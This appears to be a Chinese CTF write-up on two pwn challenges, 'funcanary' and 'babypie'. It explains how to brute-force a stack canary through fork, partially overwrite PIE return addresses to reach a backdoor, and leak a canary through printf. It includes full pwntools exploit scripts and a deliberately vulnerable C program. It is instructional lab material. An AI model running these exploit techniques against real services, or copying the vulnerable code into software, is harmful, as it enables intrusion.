一.fork线程爆破canary加PIE
一.2023全国大学生国赛pwn——funcanary
1.checksec
2.IDA分析
看见了fork函数,那就通过爆破得出canary
对于 Canary,但是同一个进程中的不同线程的 Canary 是相同的,并且通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。
打开sub_128A函数
明显的溢出
发现后门函数
开始计算溢出大小
0x70-0x80=104
3.思路确定
①先逐字爆破出canary的值
②直接溢出到返回地址,覆盖为后门函数的地址。但这道题开了PIE保护,而PIE是代码段,数据段进行地址随机化。但是最终决定是否随机化的靠看ASLR,如果ASLR是关闭的,那么就算开启了PIE也不会进行地址随机化。
要用partial write这个思路,因为分页管理机制,即使随机化地址,但在一页中的偏移量不会变,也就是地址低三位的大小不会发生改变。所以我们通过覆盖地址的后几位来可以控制程序的执行流,来实现我们想要调用的函数。
4.exp.py
①canary的爆破
from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p= process('./fun')
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send(b'a'*104 + canary + bytes([i]))
a = p.recvuntil(b"welcome\n")
print(a)
if b"have fun" in a:
canary += bytes([i])
break
print(canary)
我是python3版本的,那些什么str的强调,得记一下。
②第二次的溢出
这里得展开说说,卡了我好久。这里得厘清为什么要这样做。
1.上面都说了函数地址低三位都不会变,那我们把低三位覆盖就行了,但只能两字节两字节修改,无法只修改三位,所以第四位需要我们依次爆破,范围就是0x0-0xf。
因为PIE的开启,IDA看到的函数地址是偏移量。真实地址需要code base address + offset
得到。(如下图所示,后门函数的固定偏移量为22E)
2. 我们去看看返回地址
用下面的代码来调试,也是时候进阶一下exp了,这里用到了另外一个终端。(以后写这种类似的调试时,记得最后加个recv,不然开启终端不成功)
rom pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p=gdb.debug("./fun","break read")
p.recvuntil('welcome\n')
canary = b'\x00'
p.send(b'a'*104 )
p.recvuntil('have fun')
3.进去后一直n,n到栈里面有我们填充的a了。然后查看a字符后面的地址。
· 红框处很明显就是canary值,末尾00.
·黄框处是先前rbp的地址
·蓝框处就是我们想要的返回地址
4.接下来我们要去查看后门函数的地址,也就是上面提到的code base address + offset,
后门函数的基地址就是返回地址的基地址
如图所示,基地址就是0x564d888cb000。我也有点不懂为什么非得和返回地址的基地址一致(存疑)。
5.去查看后门函数的地址
确实位置就在这里,我们把返回地址和后门函数作比较,发现就只有末三位不同。但只能修改四位,不能只改三位。但下次又随机化了,我们不知道第四位是什么,所以就爆破第四位。这题可以一直循环,可以直接爆破第四位。但其它题只有一次机会的,多猜几次也一样的,概率十五分之一。
看到这里可能还是会有点懵,我再放一张第二次重新调试的图。
可以看到基地址什么的都发生了变化,但后面函数的末三位还是不变。
最终的exp
from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p= process('./fun')
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send(b'a'*104 + canary + bytes([i]))
a = p.recvuntil(b"welcome\n")
print(a)
if b"have fun" in a:
canary += bytes([i])
break
print(canary)
payload = b'A'*104 + canary + b'A'*8 + b'\x2e'
list1=[b"\x02",b"\x12",b"\x22",b"\x32",b"\x42",b"\x52",b"\x62",b"\x72",b"\x82",b"\x92",b"\xa2",b"\xb2",b"\xc2",b"\xd2",b"\xe2",b"\xf2"]
for k in list1:
payload1=payload+k
p.send(payload1)
p.recvuntil('welcome\n')
p.interactive()
因为是本地调试
看到这一行就表示成功pwn了
5.exp的注意事项
·可以发现我们覆盖末四位地址时,是先发送的\x2e 再发送\x*2
·注意那些字符格式b的添加
一.覆盖\x00读出canary加PIE
一.babypie
1.前期准备
因为给的文件为二进制文件,所以得自己编译
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void flag(){
system("cat flag");
}
void vuln(){
char buf[40];
puts("Input your Name:");
read(0, buf, 0x30);
printf("Hello %s:\n", buf);
read(0, buf, 0x60);
}
int main(int argc, char const *argv[])
{
vuln();
return 0;
}
gcc -fpie -pie -fstack-protector -o pie b.c
·前两个指令表示开启PIE保护
·第三个指令表示开启栈堆溢出保护,就有canary
·第四个指令表示通过b.c这个c文件,来生成pie文件。
2.ida分析
两次read都有溢出。其中printf的参数为%s,也就是解析该地址,并输出其中的内容,直到遇到字符串中的 null 字符 \0
为止。
Canary 设计为以字节 \x00
结尾,是为了防止被读出 。那既然如此,我们就溢出覆盖canary的低字节\x00,再通过printf函数一起把canary的值输出。
计算缓冲区0x30-0x8=40,再加1,因为要覆盖\x00。
还发现了后门函数
3.思路分析
①先利用第一次溢出来覆盖\x00,再读出canary值。
②第二次溢出,构建rop,放入泄露的canary值,再加上后门函数的地址。
和上一题一样,不想再过多阐述了。
4.exp.py
只放第一次溢出得canary的exp了,本来这篇的重点就在canary上。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
offset = 0x29
p = process('./pie')
p.recvuntil("Name:\n")
payload=b'a' * offset
p.sendline(payload)
p.recvuntil('a' * offset)
p.recv(1)
canary = u64(b'\0' + p.recvn(7))
print(hex(canary))
反正记得溢出时要多加1